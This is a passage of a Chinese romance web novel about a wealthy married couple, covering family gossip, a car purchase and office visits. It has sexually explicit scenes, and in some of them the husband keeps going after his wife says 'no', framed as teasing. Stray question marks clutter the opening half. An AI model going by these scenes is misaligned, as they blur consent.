“联姻的?事儿,那天吃饭她和我说了,薄家老太?太?不满意,所以这事儿成不了。”池靳予握住她手?,轻微揉捏的?力道把她注意力拉回来。 南惜微怔:“是?因为身世吗?” “你知道?” “都传开?了……” 男人叹了叹:“果然还是?瞒不住。” 对上南惜充满求知欲的?眼神,他无奈解释:“其实顾鸢十八岁的?时候就知道了,但?那会儿她亲生父母已经病逝,顾家大伯的?亲生女儿也不知所踪。一起生活十八年,到底有感情,所以将错就错,把这件事压了下来。” 南惜瞪大眼睛:“真是?抱错了?” 他点点头:“嗯。” “那为什?么现在突然……”这个时间,实在很巧。 “薄瀛之的?母亲其实对顾家大房的?背景并不满意,顾鸢在国外那么多年,对她的?过?去也不放心,暗中查资料发现了一些蹊跷,就顺藤摸瓜,纸到底包不住火。”池靳予笑着捏捏她鼻尖,“好了,事情就这么简单,顾鸢也并不想嫁,现在这样?反而是?好事。” 南惜点点头,心里却没有想象中得知第一手?八卦的?畅快。 男人抬起她下巴,亲了一口?:“怎么还不开?心了?” “没有。”她敛起心神,笑着问:“你刚才说的?那些,是?秘密吗?” 他压低嗓音,如同耳语:“嗯,不要告诉别人。” 南惜挑眉:“那你为什?么告诉我?” “因为我对你没有秘密。”他眼底墨色浓郁,铺天盖地地笼罩住她,“你想知道什?么,我都会告诉你。” 南惜怔怔的?没有动,阳光照在地台上,眼前的?人仿佛被镀了层浅金色的?光。 唇压下来时,她突然理智回笼,匆忙挡住他脸:“不行!” 她现在已经能看懂他眼神,是?想做还是?单纯的?想亲。 昨夜他弄得太?狠,她都还没缓过?来,那里抹着药依旧如火烧。 池靳予将她两只手?攥在一起,代替她的?唇,放到嘴边:“我去收拾一下柜子。” “好。” 群里的?人依旧七嘴八舌,但?全都是?漫无边际的?猜测。 南惜守着一个惊天大秘密,关掉了群。 池靳予这次打扫得彻底,要擦干净所有柜子,把里面的?东西?整理摆放。 当他正?要打开?玄关背面一个几乎闲置的?柜子门时,南惜突然想起来什?么,整个人触电般弹跳起来。 “等等——”她大喊着跑过?去,一个踉跄,没站稳,就这么扑到人怀里。 池靳予一只手?接着她,另一只手?从已然打开?的?柜门中,拿出一个包装精美的?盒子。 如果时光倒流,重来一次,南惜一定不会选择在那个收到不知名?快递的?下午,把它塞进这个柜子里。 她应该直接扔掉。 “这是?什?么?”盒盖被翻开?,对一切了然的?男人故作疑惑。 南惜眼看他从盒子里拎出一只小小的?,粉色的?,连着控制线的?椭圆形硅胶物品,咬唇解释:“不是?我买的?……” “我知道。”他手?臂收紧,带着揶揄的?嗓音贴到她耳边,轻如呢喃,“我买的?。” 第54章 第 54 章 耳垂瞬间泛起了红, 南惜惊愕到失语,直到突然听见一阵微弱的电动马达声。 天灵盖像被炸了一下。 她看向那个被按开开关,在男人手里迅速跳动的小玩意, 嗓音都打?着颤:“……你干嘛买这个?” 还是那个时候买的…… 南惜无法想象当初他脑子里在想什么, 更无法想象他把这东西用在自己身上?的画面。 到了现在,池靳予对?她说话?已经没避讳, 关掉手里的开关,直言:“你不是嫌我太大?” “……”南惜再次震惊,语塞。 “没偷看你手机,是不小心。”他语气无比正经地?说着并不正经的话?题,“我问了医生, 他建议先尝试尝试这种,会让你好受一些。” “……”他!还!问!医!生! 什么医生这么教人啊?是正经医生吗? 他从她眼神里看出了怀疑:“是正经医生,给我们家看了几十年病的老医生,很有?经验。” ……还是池家的家庭医生,南惜彻底没脸见人了。 “以为快递丢了, 原来是被你藏起来。”他手指轻轻捏住她早已烧透的脸颊。 南惜鼓着腮帮用力捶了他肩膀一下:“谁想到你会买这种东西!我还问你了……你骗我。” 什么薄慎买的剃须刀?做贼心虚,跟她耍八百个心眼子。 “嗯, 我的错。”池靳予低下头,猝不及防贴上?她唇, 没让她躲开。温柔纠缠了一会儿,把那盒递到她手里, “拿到房间,收好。” 南惜咬了下唇, 嗫嚅:“干嘛?” “你说呢?”他抬起她下巴, 目光直直地?望进她眼底,“好东西当然要?一起试试。” “……” 每到周末, 南惜就知道自己夜晚不会好过。 池靳予表面上?稳重自持,婚前她甚至以为他这方面会很冷淡,哪想他需求这么旺盛。 活很好,也?很照顾她感受,可有?时候实在无力招架。 工作日欠下的,周末他都会不折不扣地?讨回去?。 在这种事情?上?他也?很绅士,向来先取悦她,然后才轮到自己。 冰凉的真丝表面摩擦生热,平整的被攥出褶皱,干燥的被染上?湿润,原本光亮的地?方,洇成一大片暗粉色,伴着绮香阵阵,还不停有?花蜜一般的浇上?来。 呜咽声打?着旋,音调高低不一,像被一只灵巧的手控制着开关。 当真正的开关被摁下,低低的嗡鸣声入耳,南惜脑袋也?一嗡,两腿条件反射地?往回缩。却很快被拉回去?,亲了一口?。 她的反抗没有?任何作用,精致的小物件在他掌中,通电后晃得?她眼睛发晕。 两片不同的粉色碰到一起,灵魂瞬间好像全飞出去?。她不知道,也?无法控制自己发出了什么声音,由于惯性不停地?合拢,被分开,再合拢,再次被霸道地?分开…… 嗡鸣声向下滑动,她得?到短暂的停歇,直到那阵声音被吞没,包裹。 她很久没这么快哭着求他:“老公?……不,不要?了……” “还没开始,就不要?了?”温热覆上?,是她熟悉的开场画面,可今天完全不一样。 她看他的目光是飘忽的,她眼中他也?是晃动的虚影。 她觉得?自己已经快死掉。 他掬了满手在她眼前,盈盈发光,滴落在她项链上?:“那你怎么收场?” 她边抖边哭,用力咬住他肩。 男人吃痛地?吸了口?气,抱住她的头,把肩膀更往她牙齿里送。同时被挤压着滑出来的那一小只,他也?顺路,送它游回到温暖的地?方。 她哭到失声,咬破他,指甲也?划破他,在他背上?毫无章法地?捶打?。但很快没了气势,又下意识地?抱紧他。 她的感官彻底混乱,一会儿觉得?自己越飞越高,一会儿又像是坠入深渊。 “老公?……” “嗯?” “不要?一起……呜呜……” 他缓下来,给她选择的余地?:“那要?它还是要?我?” 抽噎声埋入他颈窝:“要?你。” 小东西被嫌弃地?丢到一边,可怜孤独地?滑落,裹着满身晶莹的光,在毛绒地?毯上?拉出一条粘稠丝线。 还未断电的嗡鸣声,为那交织晃动的剪影,和窗外的流水潺潺伴奏,整夜。 …… 来日和祁书艾逛街,南惜明显的精神不济。 虽然她直到中午才从被窝里起身。 去?咖啡店买了杯意式,稍微提神,两人走到风情?街广场,对?面教堂门口?,许多?西装革履的人来来往往。 “晖腾的分公?司今天好像在这里有?活动。”南惜抿着咖啡说。 祁书艾惊讶:“你不是不管公司的事儿吗?现在连这都知道了?” 南惜扯唇:“别提了。” 祁书艾:“你可千万别被表哥拽去?打?工,大小姐,你不适合上?班的。” “谁要?去?给他打?工?”南惜一只手拿着咖啡,另一只手端着胳膊肘靠在廊柱上?,“儿童节那天,姗姗拉我进了他们同事八卦群。就祁景之?那货色,在他们公?司居然还挺招小姑娘喜欢,他那后援团对?他的行程了如指掌,说今天男神在这边出席活动。” “是吗?”祁书艾来了兴趣,“走走走,看那家伙怎么个人模狗样。” 在那群西装革履的男人中间,没看到祁景之?身影,祁书艾有?点失望,说后援团不敬业,信息有?误,拉着南惜往前走,去?风情街里的一家茶馆吃点心。 结果刚走过两家店,途径一条小巷子,祁书艾突然停下脚步,屏住呼吸。 南惜也?顺着她目光看过去?。 刚在教堂前没有?找到的某人,此刻就在楼房之?间只能容纳两人的狭窄巷子里,压着个女人在墙上?,亲得?天昏地?暗。 南惜和祁书艾惊惧对?视,互相捂住了嘴巴。 她们强自冷静,摁着激动的心蹑手蹑脚地?躲到墙后,探出两只脑袋暗中观察。 只听见“啪”一声,祁景之?被女人扇了一巴掌。 祁书艾攥紧她胳膊,艰难地?压低嗓音:“卧槽,什么情?况?” 高跟鞋的声音从巷子里出来,两人赶紧躲到店铺展牌后,但在女人转身的那瞬,南惜看清了那张脸—— 是顾鸢。 祁景之?很快也?出来,没有?跟上?顾鸢,而是理了理西服,去?教堂正门口?。 等祁景之?走远,她们俩才敢正常呼吸。 祁书艾啧了啧舌:“表哥这是跟女人犯冲吧?恋爱没谈过一次,又是被宜琳姐泼酒,又是被美女扇巴掌的。” 南惜喝了口?咖啡:“不是犯冲,是犯贱。” 明显顾鸢就不高兴,是他强来,这巴掌扇他不冤。 不过祁景之?和顾鸢?南惜捧着冰凉的咖啡,心底渗出些蛛丝马迹来。 祁景之?高中在美国念,池靳予十多?岁也?去?了美国,池靳予和顾鸢是高中同学。 那有?没有?可能…… “宝贝。”南惜扯了扯祁书艾,“你那个相册里有?没有?存祁景之?的高中毕业照?” 祁书艾有?个超大容量硬盘,但凡她看过的家人照片,全都被珍藏在里面。南惜十岁生日宴的照片自己都弄丢了,却在祁书艾那里找到备份。 “太久了,我不记得?,得?回去?找找。” “找到发给我。” 祁书艾效率惊人,当天晚上?,南惜就收到她发来的照片。 一群穿着西装校服的男生中间,两个亚洲面孔最为显眼,也?最俊朗。 以前看这张照片时,她只留意到自家哥哥,并没有?关注另一个人。 原来她早就见过他,十八岁正当少年,还带着几分青涩感的池靳予。 那时她年纪小,心思简单,只取笑祁景之?拍毕业照走神,居然不看镜头,没有?发现他垂下的目光落点,是前排那个穿着同款西装校服,格子短裙的漂亮女生。 黑色长?发柔顺而飘逸,眉眼如一幅含蓄的古典山水画。 什么不打?算结婚,不想被束缚,忙于工作没空相亲,这一刻所有?借口?都有?了答案。 “看什么呢?”洗完澡的男人靠过来,把她连着一层薄薄的蚕丝被,搂入怀中。 南惜把手机屏幕倒扣,卖了个关子:“看你的小秘密。” “我有?什么小秘密?”池靳予弯唇看她。 南惜“哼”一声,把手机怼到他眼前。 男人扫了眼,笑了:“我和你哥高中同班,不算什么小秘密,只是没必要?特别说。” 南惜盯着他问:“那我哥喜欢顾鸢,你知道吗?” “什么?”他明显诧异。 “我哥高中的时候就喜欢顾鸢。”南惜认真重复了一遍。 “那我还真没留意。”池靳予沉吟几秒,握住她的手,“当时我们三个关系不错,因为都是中国人,走得?挺近,我以为他们也?只是朋友。后来,我和顾鸢申请了英国的学校,你哥留在美国,我和他就没怎么联系了,和顾鸢也?没联系。至于他们之?间怎样,我没问过。” 南惜低头看那张照片。 只一个眼神,她这局外人都能看出来,更别提和他们每天同进同出一起上?课的好朋友了。 果然男人对?八卦完全没嗅觉,他真的是个榆木疙瘩。 南惜突然恨铁不成钢地?瞪了自家老公?一眼。 池靳予被瞪得?一头雾水:“怎么了?” “没怎么。”南惜把手机扔到柜上?,翻过身抱紧被窝,“困了,睡觉。” 男人关了灯,从背后贴上?来:“老婆……” “不要?。”南惜闷着声。 被窝掀开一角,紧接着别的也?被掀开,沉哑嗓音低缓地?哄她:“乖乖,就一次。” “不要?。……啊……我说不要?了呜……”她胡乱地?抓,黑暗中那只手却滑不溜秋的,轻松避过她,准确地?寻到。 “嘴上?说不要??嗯?”手指裹着温热,有?节奏地?挑衅,“这是什么?” “坏蛋……” 第55章 第 55 章 最近出门不?是和池靳予一起, 就是搭祁书艾便车,南惜的法拉利停在家太久了。 怕亏电,想着开出门遛一遛, 心血来?潮送某人上班。 从结婚到?现在, 她?还没去过他公司。 这是池靳予第一次坐进她?车子?副驾,轿跑底盘低, 空间略窄,显得?他一双大长腿十分拘束。 南惜“噗嗤”笑了声:“池先生受委屈啦。” 男人一贯温柔的目光落到?她?脸上:“夫人亲自送我,是荣幸。” 嘴也?一如既往的甜。 南惜禁不?住凑过去,趁他不?备偷尝了一口,在他意图继续时?, 火速扣上副驾驶安全带。 随着“咔哒”一声,她?灵巧地闪回驾驶座。 男人勾唇懒笑,好整以暇望着她?。等她?挂完档,车开出去,右手被拽到?副驾驶, 亲了好几下。 车子?一路畅通无阻地开进昱臻大厦地下二层,高管专用停车库, 南惜才知道,他一早把自己的车牌号录入系统, 以便她?随时?过来?。 私人电梯直上顶楼,他添加了她?的指纹和面?容。 电梯门打开, 秘书办十多双眼睛都瞪圆了,看向总裁身后的漂亮姑娘。 虽然没见过南惜本人, 但作为池靳予手下最核心的员工, 哪能不?知道总裁夫人长什么样。 更何况南惜的照片早就传遍全公司八卦群。 余沭阳带头使?眼色,大家纷纷热情打招呼:“池总早!夫人早!” 池靳予心情甚好地笑着回应:“早。” 等那两人进办公室, 关上门,秘书办热闹起来?。 “果?然男人还是得?结婚,池总这一结婚,全公司日?子?都好过了。” “重点?是老?婆好看。” “换我娶上这么漂亮的老?婆,我也?没脾气。” “这话说的,好像你现在挺有脾气啊牛马?” “艹,大家都是牛马,别扎心。” 上午池靳予忙着工作,南惜在他办公室坐着玩手机,接连有两个高管进来?汇报。 她?坐着枯燥无聊,高管尴尬紧张,池靳予工作时?也?没空搭理她?,于?是待了一会儿就出去。 秘书办都是年轻人,氛围轻松得?多,十点?半正是小休时?间,几位女员工还聚在一起喝咖啡。 南惜也?去茶水台接咖啡,看到?摆在开放格里的一排咖啡豆罐子?,眉梢挑了挑。 竟然是肯尼亚精品咖啡豆,池靳予对员工真大方。 南惜一边品着咖啡,一边看一个年轻姑娘正襟危坐在工位前。 大家都休息,只有她?依旧全神贯注,对着电脑屏幕上的报表犯愁,应该是个实习生。 才两米距离,南惜视力好,表格每一行字都看得?清清楚楚。 本着不?插手他公司事务的原则,一开始喝着咖啡没说话。可后来?还是被这姑娘急得?心焦,憋不?住,悠悠提点?了一句:“第二季度B材料的出厂均价,公式错了。” 小姑娘瞬间醍醐灌顶,仔细检查修正后,所有数据前后对上。 这才反应过来?什么,回过头感?激地望向她?:“谢谢夫人。” 南惜回道:“不?客气。” 她?看出了对方眼里的惊讶,却没在意,只笑了笑。 有些事她?不?想做,并?非不?懂。宾大再怎么也?是藤校之一,她?凭本事进去,凭本事毕业,大学时?虽然玩得?疯,该学的也?都没落下。 她?只是没必要去职场上和别人抢饭碗。 下午,南惜到?附近逛了逛街,买的东西塞满后备箱,才回这边接池靳予下班。 地库七弯八拐,她?懒得?进去,就停车在大厦门口等他。维持一天的妆容依旧精致无瑕,夕阳照亮她?吹弹可破的白皙皮肤和嫣红嘴唇。 靠着紫色法拉利戴着墨镜的漂亮女孩,惹不?少人注目回头。 公司八卦传得?快,都知道今天夫人和总裁一起来?。起初只有一两个员工认出她?,和她?打招呼。很快,所有路过的都要说一句:“夫人好。” 南惜一一点?头回应,点?得?脖子?都酸了,某人才姗姗来?迟,不?疾不?徐地走下台阶。 终于?能摆脱那些明目张胆的偷看和生怕她?听不?见的窃窃私语,虽然全都是夸她?漂亮。南惜迎上去,在男人伸手时?顺势搂住他腰,嗓音带着娇气的埋怨:“你迟到?了。” “抱歉,有人来?办公室找我,耽误了。”他摸摸她?的头,“晚上想去哪儿吃?” “回家,吃你做的。” “好。”他牵着她?,先送她?进驾驶座,自己才绕过车头到副驾驶。 所有人都看着他们人高马大的总裁,坐进夫人那辆体型mini的法拉利跑车,头都碰到?了车顶,还一脸享受,幸福美满的神色,暗叹爱情真的能让人改头换面,如沐春风。 南惜喝完的奶茶随手扔在中间储物格,池靳予帮她?收拾起来?,问:“垃圾袋在哪儿?” 仪表盘边有个星黛露挂钩,他记得?早上还挂着垃圾袋。 南惜开着车,努了努下巴:“你面?前箱子?里。” 池靳予长腿顶在前面?,有些吃力地并?拢,往一边侧了许多,才成功打开他面?前的储物箱。 他从里面?拿出一只紫色的卡通背心塑料袋,同时?,目光凝在一样闪闪发光的东西上,眉头蹙起,也?一并?拿出来?。 南惜眼睛被他手里那阵光闪了下,不?经意看过去。 微怔过后,嫌弃地撇唇:“扔了吧。” 那是池昭明的袖扣,不?知道什么时?候落在这儿的,她?的储物箱很久没清理过,完全不?记得?。 池靳予没多问,但心里已经十分清楚。 他骨节攥得?发白,把袖扣和奶茶扔进垃圾袋,松开时?,指腹被袖扣上钻石压出红印。 他问她?:“还有什么东西要扔吗?” 言下之意,这里还有没有池昭明留下的垃圾。 南惜和他想到?了一块儿,但很快摇头:“不?知道,改天清理一下吧。” 这车她?开了许多年,从在美国上大学开始,池昭明也?坐过无数次。也?许里面?还有什么写着他名?字的废弃资料也?未可知。 前面?就要拐进和府街,池靳予突然出声:“去趟4S店。” 南惜一愣:“啊?” 他脸色不?算特别好,但还是耐心重复:“先去4S店,再回家吃饭,我让崔姨过来?做。” “哦。”南惜缓缓往右边变道。 劳斯莱斯的店铺不?远,十来?分钟,路上池靳予打了个电话。 言简意赅,就三句: “在店里吗?” “我现在过来?。” “买车。” 最后一个路口,南惜停下等红绿灯,诧异地望过去:“你要买车?” 男人转头迎上她?目光,眼底浓郁,深沉,夹着许多她?看不?清楚的情绪:“给你买。” 南惜愕然:“我车好好的,为什么要买?” “端午节礼物,开不?开随你。”他很浅地勾了下唇,便没再看她?。 “……”这理由,南惜莫名?觉得?好扯。 一言不?合要给她?买辆劳斯莱斯的男人,心情看上去并?不?太美丽。 经理从门口迎上来?时?,他淡淡点?了下头,直入主题:“帮我推荐一款跑车。” 经理看了眼两人交握的手,瞬间了然:“是夫人开吗?” “对。”池靳予依旧惜字如金。 经理笑呵呵望向南惜:“夫人对车有什么要求?” 南惜要求很简单,外观内饰她?最看重,至于?什么动力扭矩百米加速,她?不?太懂,也?不?在乎。 正想这么说会不?会显得?外行,男人已经替她?开了口:“你们店里最好看的。” “……”南惜心尖一跳,偷偷往旁边瞄了眼。 这人,干嘛这么了解她?? 经理带他们看了两款,传统轿跑魅影,和一款纯电新能源轿跑闪灵。曜影是敞篷,没有她?想要的大溜背造型,不?考虑。 两款比较之下,还是闪灵的设计更合她?心意,年轻时?尚不?失优雅。魅影复古风太浓重,显得?不?够轻盈。 可惜闪灵是纯电,续航不?算高。南惜没开过新能源车,对于?充电还挺陌生,总觉得?是件麻烦事,有点?犹豫。 池靳予二话不?说,当场给她?定下一辆紫色闪灵。 “车喜欢就好,充电你不?用管,我来?。”他一边递出卡片,一边伸手搂住她?腰。 南惜闻见他身上淡而醇的沉香味,心口一阵摇曳晃动。 公子?哥一掷千金的场面?她?见多了,只觉得?俗气浮夸,可这个男人为她?付钱买车的画面?,却狠狠撞在她?心巴上。 想起她?的法拉利自从开到?别墅,她?自己就没进过加油站,每次出门开车油都是满的,眼眶突如其来?一阵热意。 她?的车总是干干净净,连轮毂都被洗刷得?一尘不?染,仪表台上也?始终光亮可鉴。 祁书艾曾开玩笑说,怎么这车开了这么多年,突然变得?像新车似的,回光返照?然后揶揄她?该换新车。 许多没有在意的细节,突然一下子?浮上心头。 连同他刚刚那句—— 车喜欢就好,充电你不?用管,我来?。 经理把所有资料放进档案袋,池靳予接过,道谢,牵着她?走出4S店。因为选了顶级配置,要等一周多才能提车。 重新看见她?的法拉利时?,池靳予脸色没有刚从这辆车下来?时?那么郁郁。 南惜隐约意识到?什么,他那点?并?不?明显的反常,是从看到?池昭明那颗袖扣开始的。现在给她?买完新车,就又恢复平日?的样子?。 劳斯莱斯门口空旷的停车场,南惜忽然停下脚步,拽了拽男人的手。 池靳予转身,棕眸淡淡地攫住她?,很温柔:“怎么了?” 南惜抬手圈住他的腰。 双眼像湖水淌过,嗓音轻轻软软:“池靳予。” 男人眉梢微动:“嗯?” “谢谢你的礼物。”她?的额头若有似无擦过他下巴,“你有什么想要的吗?” 温热呼吸印在她?额头上。 良久,他叹了叹,只说四个字:“叫我老?公。” 她?心脏猛颤。 那股温热往下,掠过鼻尖,却忽然调转方向,移向她?耳朵。 磁沉,喑哑,化为一道暧昧的气声:“不?止在床上。” 第56章 第 56 章 一辆车, 换这?么一个?小小的要?求,好像她如果不答应,就太欺负人了。 池靳予目光灼热地望着她, 等着, 眼底温和又浓郁的期待,把她心脏搓得柔软一片。 这?样的池靳予无论要?什么她都没办法拒绝。 唇瓣抿了抿, 踮脚凑到他耳边:“老公。” “再叫一声?。”男人把她的头摁在胸口,低笑的胸腔震麻她耳朵。 以往只有在那种?时候,她才会叫老公求他,大白天?的,无端想起些令人脸红的片段。 心脏毫无规律地跳着, 南惜闷声?软软地开口:“老公。” 他抬起她脸,含住那双乖巧得招人疼的唇瓣:“以后都这?样叫,嗯?” “……” 一个?“嗯”的字音还没发出来,又被?他笑着吃进去。 * 家里停车场为她安上了充电桩,就挨着池靳予平时停放库里南的车位。 端午节那天?, 她的闪灵刚好取回来,与库里南并肩停放到一起。 同样的帕特农神庙格栅, 竖起来的欢庆女神logo,一棕一紫, 一大一小,明显一对情侣车。 今天?回龙湖吃饭, 南惜兴冲冲开了她美?貌动人的新车。池靳予照常坐副驾。 祁景之的阿斯顿马丁同时回地库,看?见?他们俩的时候, 眼底浮现出一秒惊诧, 瞄了眼从副驾踏出来的修长双腿,眼神带几分?深思。 像他们这?种?身居高位, 习惯掌控一切的男人,如果不是足够在乎和绝对信任,不会愿意让出掌控权。 望向自家妹妹,又恢复一脸懒散,下巴一抬:“舍得换车了?” 南惜得意洋洋地挽住池靳予胳膊:“老公送的。” 祁景之扯了下唇,阴阳怪调:“呵,老公送的香。” 想当初他上赶着要?给她买新车,说了好几次都不愿意,那法拉利就跟宝贝疙瘩似的。 怎么,几百万他是付不起吗? 南惜知道他脑子里想什么,嗔了声?:“你?怎么连这?种?醋都吃?” 祁景之凉飕飕地扭头进电梯。 南惜跟进去,靠在池靳予胳膊上看?他:“你?脸好了?” 祁景之没明白:“什么?” “没什么。”南惜无所谓地笑了笑,摇头。 顾鸢那一巴掌好像并没有很用力。 今天?是一家五口的私宴,饭桌上随意很多?,池靳予给她夹菜,南惜对他撒娇,两人毫不掩饰的自然亲昵,看?在祁景之眼里纯纯就是秀恩爱和挑衅。 他全程黑脸,直到被?南俊良叫了一声?:“景之,薄家老大和顾二?小姐的婚事定下了,你?替我去顾家送贺礼。” 南惜转头看?向池靳予,对方眼神肯定,微微颔首,她瞬间心底激动起来。 兜兜转转,顾月满还是得偿所愿了。 祁景之拿筷子的手顿了顿:“您让严叔送一趟,我没空。” 南俊良:“我看?你?就是懒。” 祁景之没反驳,也没承认:“最近公司很忙,人情往来的事儿我不掺和。” 南惜瞅向他那副要?死不活的眼神,莫名有点难受。 祁景之喜欢顾鸢,但他们之 间隔着太多?。如果顾鸢真是顾家大房的亲生女儿,倒还好说。 心不在焉吃了几口,南惜望向南俊良:“爸,您对未来儿媳有什么要?求?” 当初给南惜挑老公的标准,可谓是皇帝选女婿,对儿媳的期望应该也不会低。 谁曾想,南俊良只回她两个?字:“活的。” 祁玥瞄了自家儿子一眼,补充道:“女的,实在没有男的也行。” “……”南惜猝不及防咳了两声?,池靳予连忙给她递温水。 “我和你?爸什么要?求都没有,只希望你?哥这?辈子还能找个?伴儿。”祁玥叹了一声?,语重心长地望着祁景之说:“老光棍很可怜的,你?不要?变成那样,到时还要?惜惜的孩子给你?养老送终。” 噗—— 南惜庆幸她这?一口菜没喂到嘴里。 “没关系。”池靳予搂着她腰,语气平淡却认真,“给哥养老送终是应该的。” “……”祁景之狠狠剜他一眼。 池靳予这?人一般不使坏,可一旦他想,总能四两拨千斤地戳人肺管子。 南惜憋着笑,在桌下,悄悄给他竖了个?大拇指。 祁景之冷呵了声?,不客气地回怼他:“话别说太早,还不知道先给谁送终。” 南惜靠在自家老公身上:“你?要?是继续抽烟熬大夜,先把你?送走没毛病。放心,我给你?买最贵的墓地,烧很多?钱,你?下去也照样挥金如土。哦对了,还有你?那一屋子设备啊游戏机什么的,我都给你?烧下去,保证你?不会无聊。” “……”祁景之1v2打不过,用力嚼碎一只螃蟹腿。 吃完饭,池靳予陪南俊良看?报纸聊实事,南惜去祁玥的花圃里摘花。 选了几支五颜六色的玫瑰,扎成一束带回去插瓶,放在卧室会很有氛围感。 她把花放到洗手台上,一边扭开水龙头一边哼着歌,祁景之也走过来,扭开旁边的水龙头。 衬衫扣太紧,他皱皱眉,对着镜子解了两颗,似乎觉得不妥,紧接着又扣上一颗。 南惜瞟过去,虽然只有一瞬间,但还是捕捉到一抹可疑的红色,在他锁骨上。 脑子一阵嗡嗡,那天?巷子里他被?顾鸢扇巴掌的画面,十八岁照片里那抹超出年龄又越过时空的深情目光涌上头来,她咽了咽嗓,叫:“哥。” 男人洗手关水,淡定抽了张擦手纸:“嗯?” 南惜目光移到他衬衫挡住的锁骨,摁下那阵复杂情绪,一脸认真:“咱爸有家训,你?知道的吧?” 祁景之拧了拧眉:“嗯。” “有些东西,坚决不能碰。”南惜压低嗓音,走到他面前,“如果你?心里难过,可以跟我聊,但是不要?自甘堕落。” 说着,她抬手,隔着衬衫戳了戳那个?红印的位置。 玩女人在圈子里司空见?惯,但南俊良严令禁止,祁景之也向来洁身自好。 他不能在这?时候行差踏错,哪怕因为被?顾鸢拒绝而伤心,随便找个?女人发泄,被?南俊良知道是要?被?逐出家门的程度。 祁景之明白她看?见?了,目光暗下来。 他将她的手挪开,默默扣紧最上那颗扣子,才沉声?开口: “别胡思乱想,不是你?以为的那样。” “倒是你?。”祁景之没给她刨根问底的机会,“要?不要?来集团上班?” 南惜睁大眼:“不要?,不是说了我不管集团事儿吗?” “我是看?你?太闲。”祁景之笑了笑,“听说你?已经闲到去赴王盛楠的局了,他那人心眼子多?得很,你?当心。” 她的确很闲。 以前没有池靳予这?个?超级大忙人对比,衬托不出她的清闲废柴,毕竟她和祁景之也并没有朝夕相处,没亲眼见?过他们这?种?金字塔顶端的男人一天?天?忙到什么地步。 她也是最近才意识到,身边的朋友哪怕清闲,其实也都有自己的事业。 祁书艾每周发两个?视频,加上准备脚本和后期,其实也只有两三?天?空。 裴锦姗在晖腾当牛马,顾月满忙着申请国外offer,虽然和薄家婚事已定,但薄瀛之主动提出婚后让她继续念书。 只有南惜,除了吃喝玩乐什么都不干。 以前没事待在云宫醉生梦死,或者回龙湖骚扰严叔和陈阿姨,看?看?风景就能快乐消磨一下午。可现在,对着和府街精致的小院落,即便有小橘和Eric陪,她还是会觉得无聊。 池靳予太忙了。 她又太闲,就禁不住会想他。 “要?去跟我说。”祁景之理了理衬衫袖子,转身出去。 回家路上,池靳予接了二?十多?分?钟工作电话,剩余时间编辑邮件,回微信消息。 快到家时才忙完。 这?样的工作节奏对他来说是常态。 南惜把车停好,下去,刚放好手机的男人正帮她连接充电头,另一只手里,拿着她从祁玥花圃里挑的玫瑰。 她搂着他胳膊看?完,整个?过程行云流水,并不算复杂。 “要?充一晚上吗?”她问。 “用不了,充满会自动断电。”他握住她手,闻了闻那束玫瑰,两人往前院走。 南惜笑盈盈仰着头:“香吗?” 池靳予若有所思看?向她,然后就着她仰起的头,稍稍低下去亲了一口,温柔气声?淌进她唇缝:“香。” 南惜笑着戳他胳膊:“我说花。” 池靳予深深望着她眼:“我说你?。” 她溺在他漆黑的眼波中,短暂失神间,玫瑰被?塞到她手里。 而她被?他抱了起来。 小橘跟在池靳予身后喵喵叫,他也没搭理,只吩咐Eric去添加猫粮。 门被?关上,小橘站起来扒拉落地窗,听见?猫粮落碗的声?音,才一溜烟跑了。 虽然主人没口头承认,这?只猫俨然成了家猫,池靳予甚至给Eric升级,多?了一个?猫粮储存仓,和定时投放系统。 小橘比起南惜刚住进来时,已经胖了一整圈。 而南惜比起她刚住进来时…… “老婆,长大了。”他埋首在沟壑间,哑声?低语,又坏又勾人。 她躺在沙发上,承受着温柔的一波,没有疾风骤雨般的入侵,整个?人依旧晕乎乎。 他挑起她敏锐的神经,每一下都能清晰感受到细节。 那点和橘猫鼻头一样的粉色,被?指腹轻揉,捻动,另一只被?衔入唇瓣和齿尖。 沙发一次,照片前一次,电梯里一次。 还没回房间,南惜被?他里里外外吃了个?透。 玫瑰被?遗落在茶几上,晾了四个?多?小时,直到两人都洗完澡换了睡衣,下来宵夜。 跟他住到一起后,南惜再不用担心宵夜会长胖。她只怕不吃点东西,总有一天?会被?他榨干。 烤箱加热的牛肉三?明治,配一杯洒桂花的燕麦奶,池靳予还给她煎了只荷包蛋。 圆润整齐的荷包蛋,像用磨具煎出来一样。 南惜吃完端着燕麦奶,小口小口地喝,目光有一下没一下地,落在对面的男人身上。 他的三?明治才吃一半,在手机上回复邮件。 发送页面跳转后,才察觉到她目光,笑着望过去:“新品上线,有点儿忙。” 南惜双手托腮,凝神看?他吃饭的样子,良久,忽然轻声?问:“老公,我要?不要?去上个?班?” 池靳予吃完最后一口三?明治,正好看?过来,边拿刀叉边笑了笑:“有想做的事吗?” “不知道,我哥说如果太闲了,可以去集团帮忙。”南惜叹了一声?,“其实我不喜欢公司那种?地方。” “不喜欢就别去。”他切下一块荷包蛋,语调平常地说,“觉得无聊就出去玩儿,国内玩儿腻了出国也行,跟我说一声?,帮你?申请航线,正好你?的飞机也还没用过。” 南惜定定地望着他:“你?不希望我去工作吗?” 池靳予抬眸,棕色的瞳轻轻攫住她,渗出温柔的光:“不是不希望你?去工作,是不希望你?为了打发时间而随便做什么工作,这?样你?并不会开心,何必自寻烦恼?” 南惜目光动了动,托腮的手拿下来。 “工作是需要?信念感的,或者热爱一个?行业,或者想挣一份温饱,出人头地,又或者承担着家族使命不得不为之。如果这?些你?都不需要?,不用急着去工作,工作不是什么开心的事儿。”男人望着她,每一个?字都很认真,“但如果你?有了热爱的事业,想要?完成的梦想,无论什么,我都会支持。” 南惜怔怔望着他,手指在桌下攥紧了裙边。 想起某个?晚上,偶遇的餐厅,他也像这?样坐在她对面,说—— 我只要?你?快乐。 哪怕去工作,也要?快乐地工作。有信念,有热爱,有梦想,有奔头。 手机突然响了一声?,是某个?支付软件的小游戏通知消息。 她经常会用游戏道具兑换小爱心,送给系统推送的公益活动,道具存满会提醒她去收。 南惜一边兑换游戏里的小爱心,一边说:“那我后天?去京南马场看?看?咯,好久没去了。” 池靳予笑了笑,起身收拾餐具。 自从和池昭明出国,恋爱,南惜和以前的圈子就疏远了。回国后经常接触的朋友,也大多?是池昭明圈子里那些。 分?手后她多?少?有芥蒂,不愿再联系他们。 高中时和她关系最好的,是薛嬗的堂妹薛娆,以及她们同龄的那批男生女生。回想起来,那时同学间的感情才最纯粹。 薛娆去年嫁给了京南陆家老三?,陆西辞。但因为池昭明和陆西辞闹过龃龉,她连婚礼都没参加,只转了份子钱。 